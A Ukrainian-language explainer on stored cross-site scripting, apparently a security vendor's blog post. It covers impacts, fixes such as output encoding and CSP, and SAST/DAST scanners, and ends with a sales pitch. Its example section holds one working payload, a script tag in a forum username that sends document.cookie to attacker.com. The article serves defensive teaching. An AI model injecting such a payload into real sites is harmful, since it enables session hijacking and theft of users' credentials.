Збережений міжсайтовий скриптинг (XSS): приклад, вплив, виправлення

Збережений міжсайтовий скриптинг виникає, коли дані, відправлені зловмисником, зберігаються на сервері, а потім публічно відображаються на звичайних сторінках без належного екранування HTML.

Це створює кілька різних можливостей для атаки, здебільшого викрадення токена сесії або крадіжки облікових даних для входу (шляхом зміни HTML на льоту) та виконання дій від чужого імені. Це відбувається тому, що введені зловмисником дані інтерпретуються HTML/JavaScript/VBScript у браузері користувача, який переглядає відповідний вміст програми.

У звичайних XSS-атаках зловмисному хакеру потрібно дістатися до цільового юзера, але у збереженому міжсайтовому скриптингу злочинець може просто впровадити корисне навантаження та чекати, поки користувачі відвідають відповідну сторінку. Щойно хтось це зробить, збережене корисне навантаження буде виконано.

XSS спрямований на юзерів, а не на сервер програми. Але оскільки він дозволяє захоплювати сесії інших користувачів, зловмисник може атакувати адміністратора, щоб отримати повний контроль над програмою.

Вплив збереженого XSS

Збережений міжсайтовий скриптинг є небезпечнішим за інші типи з кількох причин:

• Корисне навантаження не видно для фільтра XSS браузера.
• Користувачі можуть випадково активувати корисне навантаження, якщо відвідують сторінку, тоді як для використання відображеного XSS знадобиться спеціально створена URL-адреса або певні дані форми.
• Міжсайтовий скриптинг дозволяє створювати клієнтські хробаки, які можуть змінювати, видаляти або викрадати дані інших юзерів усередині застосунку.
• Вебсайт може перенаправляти користувачів на нове місце, може постраждати від дефейсу або бути використаним як фішинговий сайт.
• Чутлива інформація, така як файли cookie, може бути викрадена.

Приклад збереженого XSS

Збережений XSS може виникнути, якщо ім’я користувача учасника онлайн-форуму неналежним чином очищено під час відображення на сторінці. У такому випадку зловмисник може впровадити шкідливий код під час реєстрації нового юзера у формі. Коли ім’я користувача відображається на сторінці форуму, воно виглядатиме так:

Username: user123<script>document.location='https://attacker.com/?cookie='+encodeURIComponent(document.cookie)</script>

Registered since: 2016

Наведений вище код спрацьовує щоразу, коли користувач відвідує цей розділ форуму, і він надсилає файли cookie зловмиснику, який потім може використовувати їх для захоплення сесій.

Виправлення збереженого XSS

1. Перед вставленням у базу даних варто порівняти дані, надані користувачем, з даними, які очікує система.

Наприклад, посилання, як правило, слід забороняти, якщо вони не починаються з протоколу з білого списку, такого як http:// або https://, що запобігає використанню схем URI, таких як javascript://.

2. Також будь-які дані, включені до вихідного коду HTML сторінки, повинні бути правильно закодовані, щоб запобігти зміні його структури зловмисником та впровадженню власного шкідливого коду HTML та JavaScript.

Яке кодування слід використовувати, залежить від контексту, в якому він має відображатися. Наприклад, якщо вивід знаходиться між двома тегами “div”, метасимволи HTML, такі як < або >, слід замінити відповідними HTML-сутностями (HTML entities).

Якщо вивід знаходиться в атрибуті HTML, такі символи, як “, ‘ та =, також варто замінити. Якщо дані будуть поміщені в рядок JavaScript, потрібно використовувати шістнадцяткове кодування (x41x42x43x44).

3. В інших випадках, наприклад, в атрибуті href або src, слід використовувати кодування URL (%3C%22%27), щоб запобігти додаванню додаткових параметрів зловмисником.

4. Крім того, варто впровадити надійну Політику безпеки контенту (CSP) як міру захисту, якщо помилково створено вразливість XSS.

Автоматичне виявлення збереженого XSS

Збережений XSS можна виявити за допомогою автоматизованих інструментів:

• SAST (як-от від Mend.io) аналізує вихідний код на етапі розробки як текст та знаходить потенційні вразливості.
• DAST (наприклад, Invicti на основі Acunetix та Netsparker) працює з уже розгорнутим застосунком і імітує атаки, перевіряючи, чи можливо виконати XSS на практиці через вебінтерфейс.

Таким чином, SAST допомагає виявити проблему раніше в процесі розробки, тоді як DAST підтверджує експлуатованість вразливості в реальному середовищі.

Якщо ви хочете безкоштовно протестувати Invicti або Mend.io, які безшовно інтегруються, то залиште ваші контактні дані в формі нижче, і ми до вас звернемося: